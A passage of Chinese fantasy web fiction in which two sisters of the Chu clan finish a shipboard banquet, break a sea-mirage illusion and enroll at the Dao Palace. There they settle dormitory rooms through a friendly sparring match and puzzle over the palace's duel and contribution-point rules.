对面的陈昆吭哧一声笑出来。“妹妹好嘴!”
瞧给百里北辰气得,忙活半天被人偷了家。
百里北辰蹙眉看了百里灵越一眼。百里灵越抿抿唇,没辩解。
她刚才确实没反应过来。
这一杯被抢去,不可能再要回来。
宫门夜宴讲究的就是这种点到为止的试探,毕竟谁家都不差这一杯酒。
晏殊看到楚清河得意地收了枪,回到坐席:“崽,干得漂亮!”
她的妹妹笑着递上琉璃盏,眼瞳被烛火映得很亮:“姐姐,给!”
竟然自己不喝。
楚清河并不推辞,在席上诸多目光的注视下,扬唇痛快一笑,将这杯加了韵灵基液的梅酒一饮而尽。
晏殊若有所思地收回目光。
楚清河喝完,当着百里北辰的面儿将琉璃盏倒悬,看他脸色更冷,高兴坏了。
“还敢跟我斗枪!哼!”她给望舒传音,“崽,都在镯里了。”
望舒说:“姐,以前你也是这么藏的吧……”
“你就说行不行吧。”
这一套流程从小到大不知道干了多少回,她敢保证席上没一个人看出来。
八楼,林氏族长笑着捣捣楚岱熙的胳膊。
“岱熙,你家这俩,今年怕是要给所有人一个惊喜啊。”
楼下的动静,楼上的长辈们全部看得一清二楚。
楚岱熙克制提唇,说:“都是小孩子们的小打小闹罢了。”
五楼,杜枚托着下巴给溟宸传音:“咱还要试探不?”
之前还说要在席上再试探一回,结果楚家两位推举,一位是盛装出席,惊艳全场,一位是“武装出席”,大闹全场。
妹妹收获了目光,姐姐得了彩头,这一波,楚家算是大获全胜了。
溟宸蹙眉摇头:“时机已过。”
席上流觞从未停息,溟云以一己之力躲过所有争夺的气浪,稳稳拿到飘下来的那杯酒,喝了后淡淡道:“与其注意楚家,不如专注提升自己。在道宫以排名压楚氏一头,不是更有说服力?”
溟宸看着溟云,点点桌子,有他自己的看法:“你专注提升自己,我兴致来了给楚家使上两个绊子。这叫各司其职,双管齐下。”
溟云听了哼笑一声,再不多言。
最后三杯酒,一杯被侍者捞出,摆上幽公主的席面。
一杯流经晏殊,被他抬手捏起。无人阻拦。
最后一杯,比较奇怪,竟然被朔洲那位唯一的推举拿到。
自有目光投来,风瑶眨眨眼:“你们都在打架,也没人管我啊。”
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真的吗?
商如雪收回目光,勾唇一笑。
今夜席上精彩太多,她的“掌印情报”,又能更上两个版本,可喜可贺。
彩头分完,席也到了尾声,海上起了风浪,大家提前散去。
楼船每一层都有连接外面的甲板,只是越往上甲板空间越小。望舒站在甲板的灯影下吹风,看见夜晚的大海显露出狰狞的一面,白色的气浪一层一层拍打着船身,灯晕逐渐撑不开黑暗。
起雾了。
“这是到深海区了吧,等天亮,我们就该到了。”姐姐站在她旁边说。
回到厢房休息,深夜,望舒忽然睁开双眼。
模拟器半夜在她脑中咔咔打字,机械音带着空洞的拖腔。
【见到各族精心培养的核心推举,你表面看起来没有动摇,心中却生了浅浅的裂痕。】
【你只是伪装的天才,倚靠模拟器的光环勉强跻身在这群天骄之间,你当然会忍不住自卑。】
【你甚至生出了一点逃避之心。伪装得越像,跌落得就越狠。你想回到族长妈妈的怀抱,告诉她,自己只想待在楚家,待在妈妈身边,又怕她对你失望。】
望舒躺在床上,面无表情地回应。
“我要是真天才,还要你何用?干了这么多年模拟器,还能让我心境动摇,有没有好好反思一下自己,这么多年有没有努力?”
“妈妈巴不得我留在楚家。”
“是我。是我自己想去道宫。”
我要去道宫发光。
脑中有什么东西轰然破碎,望舒一下子翻身坐起,冷静一会儿,掀开弦窗的帘子。
大雾弥漫,目不能视。
是海上蜃气。
想了想,拉开门,来到姐姐的门口。船上空间虽然不大,每人却有一个房间。
她没立刻敲门。
房间内,清河正在做梦。大长老严厉看着她,说:
“现在楚家就你一人了,你还有什么理由不用功、不上进?以后入道宫,连百席都进不了,你会让楚氏彻底沦为笑柄!楚家最终会衰败在你的手上!”
吓得清河抱着枕头,一下子惊醒过来。
她摸摸满头的汗,起身咕哝:“什么鬼梦,楚家败在我的手上,那族长和妹妹是吃干饭的吗?”
门外传来一道浅浅的喊声。
“姐姐。”
清河赶紧起身将门拉开:“崽我跟你说,刚我做了一个巨吓人的梦……”
望舒听完,翘起嘴角:“是蜃气,姐姐受了蜃气的影响,产生了精神幻境。”
“这么危险?”她心有余悸。
望舒牵起清河的手,缓声说:“幻境破了蜃气就不会再有影响。我们先去一楼甲板。”
她怀疑这个蜃气也是夜宴的环节之一。
路过妙樱的门,望舒顿了顿,并没有冒然上去敲。
蜃气只是会有幻觉,不会有多大伤害,等到天亮蜃气消失,一切都会恢复正常。
她走后,妙樱站在门边,松了口气。
她跟楚清河几乎在同一时间突破蜃气影响,刚刚望舒站在门口,她已经有所觉察。
许妙樱不想望舒敲门。
这艘宫船并不是她的舞台,如果可以,她想尽量减少存在感。
感受到门外动静走远,许妙樱打定主意,今晚不出这扇门。
一楼甲板竟然站了不少人。
每有人下楼,就有侍者递上一只天灯,笑着道:“恭喜客人勘破幻境,固守本心。”
天灯内有彩头,是为讨个好意向。
清河手伸进灯笼里面,去够放在灯内的纸条,望舒已经将祝福彩头拿在手里。
借着船上灯火,展开一看,上书:“宫门夺首。”
轻轻一笑。伸手用灵气将纸条捻去,化为灰烬。
旁边清河也看到她拿的彩头:“万事不愁。”
她念出声,然后发出一声诡异的呵笑。这个好啊。
甲板上陆续有澄明的天灯升起,驱散了海上的蜃气。风浪平息,只有缕缕波光,海上升起一轮明月。
天光既白,甲板上的人越来越多,直至日出在海上投下第一缕金色晨曦,海上矗立的神山才完整清晰地显露在所有人面前。
迎着巨大雄伟的建筑,长风震响宫铃。
宫门已至。
17.入宫必争
全景视角的道宫像一幅精心晕染的水墨画,却不乏工笔的细节。
山与海从来都是壮阔的代名词,那么矗立在无垠大海中的神山,好像天然就代表了权威与秩序。
十层宝船可以用巨轮来形容,可停泊在神山脚下,渺小如一粒尘埃。
甲板上的所有人都仰起了头,这一刻的安静,值得奉献给这座山中宫门。
宝船靠岸,入宫的弟子全部下船,而长辈却留在船上。
除了持有宫铃的弟子,外人无召不得入宫。
这些放出去能让天衡大陆集体震一震的大人物,全部背手而立,复杂地看着那些意气风发的道宫学子。
每一届入宫,都会出现耀眼的新星,搅动风云。
属于他们的故事已经过去,新的传奇,将由这些年轻人书写。
望舒站在岸上,与甲板上的楚岱熙对视。
黑眸与黑眸,都带笑意,不含告别。
望舒想,其实昨晚抽筋的模拟器在某些方面说得也不无道理。
她确实想留在楚家,想赖在妈妈身边。
只是她也想去宫门见识一番。
有这种矛盾的心态,大概还是因为她不够闪耀吧。
转身的时候,望舒翘起嘴角,轻轻挥了挥手。
现在出发,是为了更好地回家。
那么,妈妈,我走喽。
-
海上神山,本质是一方小世界。
他们下了船,感觉自己在山脚,往上看有一山中小径,山径入口竖了一个古朴简陋的木牌坊,牌上无字。
这看起来就是所谓的“宫门”
清河当时还疑惑,怎么这宫门不如她想象中的恢弘气派呢。
望舒轻轻一笑:“能在海上矗立的神山只有一处,即便不刻字,谁都知道它是道宫。”
说简单点,就是底气太足了啊。
直到踏上山径,望舒感到腰系的宫铃一瞬间与这方空间产生某种联系。
道宫不设向导,宫铃自会指引去处。
望舒与清河同时对视,清河眼神古怪地说:“去理事堂挂牌?”
“挂什么牌?”
望舒这个有十多年入学经验的老学子也不太清楚,咕哝着说:“大概就是叫我们登记姓名家族之类的信息吧。”
宫铃显示,理事堂离这边还有一段距离,步行去是不可能的,就连用御气术,估计都得飞好一会儿。
望舒和清河都拿出飞行灵器,用灵器辅助会更快。
清河的灵器就是曾经用过的金盘,这东西攻防兼备,又能御风而行,除了造型略显奇葩,别的挑不出来毛病。
望舒说这东西竖起来像个锣……
清河自己却很喜欢,说打架时用灵气催大,往敌人脑袋上扣,能起到造型上的压制作用。
行吧,姐姐喜欢就好。
望舒自己的灵器是楚岱熙在拍卖会上给她重金拍下的金蝶。
从外形说,这灵器本质就是一对巧夺天工的精致对簪,簪头悬停金蝶,振翅欲飞。
打架时,一蝶为攻,一蝶为守,不打架时,就作为对簪,佩在头上。昨天出席夜宴,她就簪了这对金蝶。
至于飞行,它都是蝶了,肯定差不了。
不过楚岱熙将它拍下的原因只有一个,太仙了。
“此蝶风采,正与我儿相配。”
望舒当时就笑笑,心中点评:金色装扮乘骑道具。
此时,金蝶振翅,望舒点足踏上,配合她眉间的神光,不难理解楚岱熙口中那一个“配”字。
踏上灵器后,后面的许妙樱和陆琪同时拿出一柄青剑。
这是楚家给所有觉醒天赋的外姓弟子配置的奖励,一柄中级法器。
家族学堂也会教授御剑术。
望舒转身对他们一笑,说:“我们在前面破风,你们跟在后面,速度不会慢到哪里去。”
便乘风而起,直入理事堂。
背后几道凝视的目光,不值得回头,也不值得在意。
来到理事堂内部,几人才发现,这栋建筑的大小绝不仅仅能用“堂”来形容,它少说也是个“楼”,而且还是六层以上的楼。
里面的结构像个环形的筒楼,红檀木古朴雕花的房梁,顶部封起不露天。
环形墙壁像格子一样整齐悬挂着一枚枚发光的玉牌,牌上写满了字。
望舒觉得,这里面的画风有点像玄幻版藏经阁。
理事堂堂主踩着卷轴飞下来时,就看到这儿有四个弟子傻乎乎仰头看墙上的玉牌。
她一笑,足尖点地,卷轴自动收起,漂浮到她掌心。
拿玉质卷头磕磕案桌,发出的声音终于让这几个傻孩子回头,笑着勾手:“把你们的宫铃拿来,我来给你们登记。”
望舒闻声侧头,这才发现身后不知道什么时候站了人。
这是一位眼眸明亮的女性,看着她们的嘴角隐约含笑,顺着笑容的牵引,会注意她嘴角有颗天然的小痣,这构成了她妩媚慵懒的气质。
她善于捕捉自己,衣饰也将这种特质放到最大,斜衽丝质修身长裙,裙摆绣了大片盛放的牡丹。
滑过这些表征,望舒看到的,是她从容而笃定的姿态,脊背滑顺,天然挺直。
并且,她腰间悬着玉珏双环。
望舒垂眸,躬身行礼:“见过前辈。”
葳竹心一笑,随口说:“我是理事堂管事的,你们喊我堂主即可。”
说着伸手一勾,望舒几人腰悬的宫铃竟然自动脱落,漂浮在她的案几前。
悬双环的堂主?
大约也是令主那个级别的吧。
望舒眨眨眼,以为接下来堂主会询问她们的姓名家族,结果她只是分别震响宫铃,铃中便有灵光像细线一样飞入她摊开的卷轴中。
葳竹心随意扫了一眼,瀛洲楚氏楚望舒、楚清河。
楚家的孩子么。
收回目光,从案桌下面的箩筐中抓了四个玉牌,动作随意得跟抓了把米似的。
玉牌有一定厚度,方形,边缘做了圆弧处理。
她将卷轴上的灵光牵引到对应玉牌中,又踩着卷轴重新飞起来,将这四块玉牌挂在环形墙壁的空位。
望舒跟随她的动作再次看向墙壁,这次明白过来,这里的每一块玉牌都代表一个弟子。
葳竹心回来后,重新摊到她的椅子上,慵懒地舒一口气,摆摆手:“好了,挂牌成功,你们可以走了。”
可以……走了?
清河实在憋不住,说:“堂主,弟子能否问下,这挂牌,是何意啊?”
葳竹心在摇椅上稍微支起脑袋,红唇一勾,说:“就是你们可以打架的意思呀~”
指尖随意一滑,宫铃回到望舒几人手上。
“以血为契,可以解锁宫铃的所有功能。其实也没几个功能,就是可以下战书打架什么的。”
“道宫弟子,每人每月可以下十份战书。战书下完,自动锁牌;挑战失败满三次,自动锁牌;迎战失败满三次,也自动锁牌。”
“如果一月接满三十份战书,或者连胜十次,牌也会自动锁上。道宫弟子一般称这种情况为满牌。”
每月接满三十份战书……合着这是一个月啥也不干,光打架了是吧?
连胜十次听起来更玄。
胜不难,但连胜,还是十次……陆琪抽抽嘴角。
望舒本来还想问锁牌什么意思,可结合堂主的话,再看墙上一些灰了的玉牌,自己也能琢磨过来意思。
就是……
“堂主,为何我们几个的玉牌,也是锁着的状态?”望舒指指她们挂牌的角落,明显这些牌都呈灰暗的状态。
葳竹心看着她,这次笑得格外灿烂。
“因为你们刚入宫,自动锁牌免战一月啊。”
哦,新手保护期。
望舒点头。
葳竹心看望舒乖巧点着脑袋,头上金蝶翅翼颤动,有种别样的晶莹可爱。见猎心喜,不免多提点了两句。
“道宫虽然鼓励作战,可不论挑战还是迎战,都要谨慎,尤其是……掌印悬而未决的家族。”她意味深长地看着望舒。
掌印悬
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而未决……望舒的表情没有变化。
入宫前一年,她就知道,楚家掌印权利,处于悬而未决态。
其实本该直接收回,可楚家上代族长,也就是她的“奶奶”,亲入迷雾海,为楚家争取了一界道宫的时间。
也就是她们这一届。
葳竹心点了点摇椅,轻晃起来,像是随意科普了一段知识:“类似的家族,如果推举入宫,翻牌接受挑战,连输三次,道宫将会质询。”
“质询考核未过,掌印权利收回。”
许妙樱和陆琪面面相觑,最后的目光同时投向望舒。
清河表情沉凝下来。望舒面不改色道:“多谢堂主提醒。”
她早就清楚,入宫从来不是单纯愉快的“上学”
宫内的表现,与家族利益息息相关。
不然,之前那一船的人在席上斗来斗去,难道只是为一杯酒吗?
既入宫门,她早已做好寸步不让的准备。
离开理事堂,几人在外面血契了宫铃。
这原来还是一件品质极高的灵器。道宫真是财大气粗。
宫铃契好后,自动分配几人的住所。
清河感受着宫铃上的信息,说:“我是,梅园七号?”
许妙樱理了理鬓发,细声说:“我是桃园三十号”
望舒:“松园十五号”
陆琪:“竹园六十。”
清河啧声:“好家伙,四个人凑不齐一个园子。”
望舒:“天色不早,我们先去宿舍收拾东西,嗯,有事再汇合。”
许妙樱知道望舒因何停顿。她和陆琪两人,与楚家算是某种合作关系,她们并非望舒的下属,望舒不会指派他们,他们也不必跟随望舒。
将他们选拔、教育、推举给道宫,楚家已经完成了“业绩”
后续,他们远离楚氏,还是想继续倚靠这颗大树,全凭自己。
心思转了一轮,许妙樱脸上绽开一个灿烂的笑容,重重点头:“嗯。”
陆琪挠挠头,爽朗笑道:“舒妹妹,清河姐,可别忘了我啊。”
四人散开,望舒这次自己去了松园十五号。
松园正如其名,以松为景,方正的格局,配青砖绿瓦白墙。
望舒在鹅卵石小径上穿梭,左扭右拐,终于找到十五号。心说,这数字不错,正好是我的生辰。
这是一间宽敞的带天井的四合布局院落,分前院,后院,左厢房,右厢房,天井种了一棵笔挺的青松。
显然,这是一个“四人间”,望舒在每个房间转了一圈,脸上显露几分古怪。
这四个房间,层次分明。
后院,也就是主卧,房间最大,采光最好,内置有多宝阁、书架,最重要是有独立洗浴空间。
前院,第二大,布局也不赖,缺点是靠近外面,可能稍显吵闹。
至于左右厢房,不用说了,是个较为逼仄的长方形,采光要比前后两院差上一大截。
并且,除了主卧,其他人都共用一间浴室。
看完四个房间布局,望舒隐秘笑了笑,想都不想,直接踏入主卧。
她不擅自布置,而是等人。
等她的室友们。
大约一个时辰,室友陆续上门,转了一圈后,显然也露出同样古怪的神色。
其中一位装扮干练束马尾的女孩看见望舒直接坐在主卧的圆凳上,微微皱眉。她主动走了过来,其他两位姑娘见状,也跟了上来。
“这位……”她不知望舒的名字。
望舒抬眼,黑眸澄然,主动自报家门:“我叫楚望舒。”
后面进来的两位面面相觑。十二掌印势力的姓氏,谁不知道。
这么坦荡,难道是打算,以权压人?
马尾女孩眉头皱得更紧,她正要说话,就见这位格外耀眼的楚家人翘起嘴角,明媚一笑。
“强者为先,诸位,以实力决定房间位置如何?”
不打肯定是不行的呀。
入宫必争。
这第一争争在哪里,道宫不是明晃晃地写出来了么。
18.道宫特色
以实力决定好坏优劣,实在是再天经地义不过的道理。
至少在道宫使用。
天衡大陆也没几个不适用的地方。
干练马尾女生缓和神色,迎着这位楚家人的笑脸,倒显得她有些咄咄逼人了。
转身,丢下一句:“我叫慕寒梅。”
慕寒梅。望舒默念这个名字,看着她的背影,天才之力发动。
造化级别属于紫级灵种那个档次,介于紫级中层到顶层之间。
望舒跟着她来到院中天井,另外两个姑娘也一起出来。
宿舍院子地方不大,若要在这里较量,只能是那种点到为止的切磋。
望舒暗暗点头,这样也好。
跟室友之间,关系尽量还是处好一点。
她去看另外两个室友,其中一个,穿上下两件式的浅绿套裙,清新秀丽。
另一个,穿着柔软的棉质长衣长裤,一双眼睛尤其大。
很快大眼睛室友就说:“我叫卫心,我们怎么比呢?这里空间也不大。”
望舒背手浅笑:“不瞒大家,我看上了主卧,愿接受大家的联手攻击。如果我胜了,就让我住主卧,如果我败了,自愿退出主卧之争,直到你们挑好房间,剩下那间给我。”
卫心与顾朝歌对视一眼,都能看到彼此眼中的惊讶。
这位楚家人……可真狂啊。
这不就是她有必胜的把握吗,还是一对三。
胜了住最好的,败了住最差的。
慕寒梅握住腰间剑柄,眼神淡淡地看着望舒:”你要怎么打,用不用武器?“
望舒仍然笑:“都行。”
锃地一声。不等一秒,慕寒梅直接拔剑,抬手一劈。
望舒灵巧偏头,轻易躲过这一击,带着笑意的面容没有分毫变化。
顾朝歌将裙子一撩:“我们也上。”
卫心:“嗯!”‘
还不信了。
这么狂的人必须有人治!
面对刺来的剑光,望舒以一个刁钻的角度躲过,不拉开距离,反而贴着这一击上去,柔软卸去慕寒梅还击的力道,以掌为刃,在她右手大拇指虎口位置以劲气一击。
哐当一声,剑竟脱手。
慕寒梅冷淡的面容首次出现惊愕的神情。
与她擦肩而过的望舒嘴角轻轻翘起。
之前用天才之力看的那一下,就看出了点东西。天才之力虽然理论上只能感受道韵以及道韵聚合的造化。
可她仍可以通过各个地方造化的深浅看出点东西。
造化的颜色在她眼中是浅金色。你这块都金光闪闪了,总不能弱了对吧?
望舒刚刚就看到,慕寒梅拔剑用的是右手,可她左手的造化浓郁程度远超右手。
这竟是一位罕见的使左手剑的剑修。
既然不是常用手,被望舒抓住破绽,将剑击落,也就成了一件自然而然的事。
毕竟,望舒也是剑修,还精于此道。
望舒顺势踢起慕寒梅的那把剑,握在手中,转身迎击上另外两人。
穿着套装衣裙的室友顾朝歌,望舒看她的招式,有种浓厚的家族学堂标准规格出厂的味道。
就是无论攻还是守,都有种规规矩矩按老师教学的套路出手的意思。
别怪她这么熟悉,她自己也是上过几年家族学堂的,那里面教啥她还不知道么。
望舒故意卖了个破绽,顾朝歌果然就近身上来,望舒不用剑,肘部在她肩膀重重一击,她吃痛想撤,望舒忽然冲她俏皮眨了下眼,她一愣,被望舒用剑挑下一根发簪。
最后的大眼同学……叫望舒不知道怎么说。
她觉醒的天赋应该不是战斗类,似乎也没受过多少成体系的体术教育。
她朝望舒又是踢又是打,是谓一顿操作猛如虎。
一开始望舒真被她唬住,拉开身位谨慎观望了两下,看出不对劲。
这位同学,她完全不防守吗?全是空门哎。
看出对方是个战斗菜鸟,望舒不再浪费时间,轻轻松松晃过她一个小拳头,反手一剪,故意拿手里那把剑抵在这位萌妹子的脖子上,压低声线说:“还打吗?”
这柄剑来自慕寒梅,看她派头就知道是个标准剑修,想来寒来暑往不少练剑。
这样的贴身佩剑天然自带寒意与剑气。
卫心感到后背的鸡皮疙瘩一粒粒竖起,以为望舒来真的,刷一下抬起两只胳膊,苦着脸道:“我我我,不打了不打了……我住哪里都行啊。”
望舒在她背后一笑,将手放下:“我吓你的。”
哇,你长这么好看还要恶作剧!
卫心扭头发出控诉的眼神。
望舒将那根发簪还给顾朝歌,最后来到慕寒梅跟前。
迎上她复杂的目光,望舒翘起两边嘴角,软软一笑,认真道:“多谢相让。”
这位同学,看起来很高冷,心中却有自己战斗的坚守。
慕寒梅一楞,冷酷的表情也不知怎么摆了,最后不自然地接过剑,偏头淡道:“就算用左手,我也可能打不过你。”
跟望舒战斗的第一回合,她就知道望舒也精于此道,且风格自成一派,像有名师指点。
慕寒梅想了想,问:“你的剑术,是谁教的?”
这样的霸道、游刃有余,自带掌控力。
望舒在这一刻站直身体,黑眸加深,明明笑容不变,可谁都觉得她认真了一些。
望舒说:“授我剑术之人,名楚岱熙。”
不是楚氏族长。
不是妈妈。
是楚岱熙。
若有一天,她因剑术被人肯定,她不会吝啬告诉任何一个人,授我剑术之人,名楚岱熙。
她要让妈妈的剑术,在道宫发扬光大。
慕寒梅听到这个名字,就知道这是楚氏族长,觉醒天赋十八仙剑,绝对出名的剑道宗师。
她握紧手中的剑,目光灼热起来:“希望有一天,你能全力与我用剑一战。”
“好呀。”望舒点头。
于是宿舍位置落定,望舒住后面最大的主卧,慕寒梅住前院,左右厢房,区别不大,但卫心让顾朝歌先选。
“嘿嘿,我觉得哪里都一样。”
她是走地方道院的路子被选拔上来,以前一直住道院里的宿舍,八个人一起,条件比这差多了呢。
望舒踏进主卧房间,这才有功夫拿出宫铃,细细琢磨。
宫铃是法器,被血契后,能用灵识控制查看。宫铃详细介绍的就是之前理事堂堂主说过的那套挂牌系统。
道宫弟子每人都有一块对应的牌,跟这个宫铃是法器中的一套。
挂牌,意为接受挑战。
道宫的挑战不是单纯我往你宿舍门口一站,说“来战”就能战的。
要正式下战书。
不下战书的战斗,基本图个自己乐呵,或者解决一些私人恩怨,反正不被道宫承认,也没有排名上的增进效果。
每人每月只有十份战书,用完就像堂主说的,自动锁牌——歇业了。
没法儿挑战别人,也没法儿被挑战。
这套挑战系统,最叫望舒在意的,是其中一条原则。
——下可以对上,上不可对下。
道宫虽不看家室,却有严格的等级制度。道宫四院,分天地玄黄,天为极,黄为末。
那么显而易见,黄院的学生就是这个“下”
到了天院,又分席位制,所谓百席的席就是天院弟子之间的排名。<
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不入天院,自然连席都没有。
那么这个下可以对上就很好理解了,下院弟子可以朝上院挑战,低席位弟子可以朝高席位弟子挑战。
只要下了战书,“下对了上”,上就必须接受挑战。
反过来,上自然是不能给下位发战书的。
一旦上被下挑战成功,两人之间的地位顷刻颠倒。
望舒看到这条原则,第一反应是:这谁还能在道宫睡得好觉?
还好还好,初入宫弟子有新手保护期。
至于这帮新入宫弟子的院别,从他们手握的铜铃就可以看出来,自然是黄院,下中下。
望舒微微一笑,看到宫铃的第二个功能,“储蓄卡”
在道宫一切的修炼消费,不接受灵石,全部都是用道宫专属货币,贡献点来算。
宫铃就是储蓄结算贡献点的法器。
在道宫,去各种修炼宝地要花贡献点,兑换一些高级功法术法要花贡献点,上特定令主的课……甚至,下战书,也要花贡献点。
望舒掐指一算,道宫消费大得惊人。
她抱着期待的心情,去看自己宫铃里的贡献点余额:一百。
笑容更大了。
这真够用?
她刚怎么看到下个战书就要一百贡献啊。
没想到自己入宫面对的第一个困境,竟然是贫穷。
望舒研究出的宫铃的第三个功能,就是聊天。
对,这高级法器竟然有好友系统,甚至能像通讯符一样传讯。
但……道宫特色来了,得花钱!
十贡献点能发一条。
再次掐指一算,她入宫生活费竟然只够发十条。
就算是在楚家……她说话也没这么奢侈过。
望舒大致了解宫铃作用后,就将宫铃重新悬在腰上,去找姐姐。
梅园七号。
望舒成功与楚清河汇合。她分配好了宿舍,也住上了主卧。
望舒一个挑眉,问:“姐姐也是打了一架吗?”
“什么打了一架?”清河愣了愣,疑惑道,“我是花钱的呀。”
望舒:?
“我给了她们一人一千灵石,有个人不干,我给她加到三千,她立马就干了。”
望舒笑容不变。
好,姐姐的姐,原来是大小姐的姐。
两人的下一个目的地,原本是食堂。可俩人的镯里都存着一些灵食,清河说先不急吃饭,她们先去一个地方。
黄院的事务堂。
“去哪儿干嘛?”望舒问。
“领咱们的黄院弟子的份例啊。”清河随口说。
望舒点头,这是该领,可有必要这么着急吗?
到了事务堂,清河找到负责人,两人各自领到灵石五百,伤药敷剂一瓶,补灵丹药一瓶。
其余的份例还有每月一百贡献点,这个月的已经发在她们的宫铃上。
还有两次灵医阁免费看诊福利。
因为目前俩人打架还没打到需要去灵医阁的地步,暂且用不上。
东西领完,清河竟然不走。
望舒用狐疑的眼神盯着自家姐姐,看她扒在事务堂高高的案台上,眼神期待地说:
“管事,这里有没有那个……兑换贡献点的服务啊?”
拿着书册挡脸的管事缓缓露出一双眼睛。
清河搓搓手,嘿笑解释:“就是,能不能用灵石,兑换成贡献点?兑换比例高点也没事儿啊。”
每月一百贡献点哪够花的。
望舒脑中立马闪过四个大字:充值氪金。
她想了一想,扭过头,也跟着闪亮双眸,看向管事。
对啊。
所以,真的不能充钱吗?!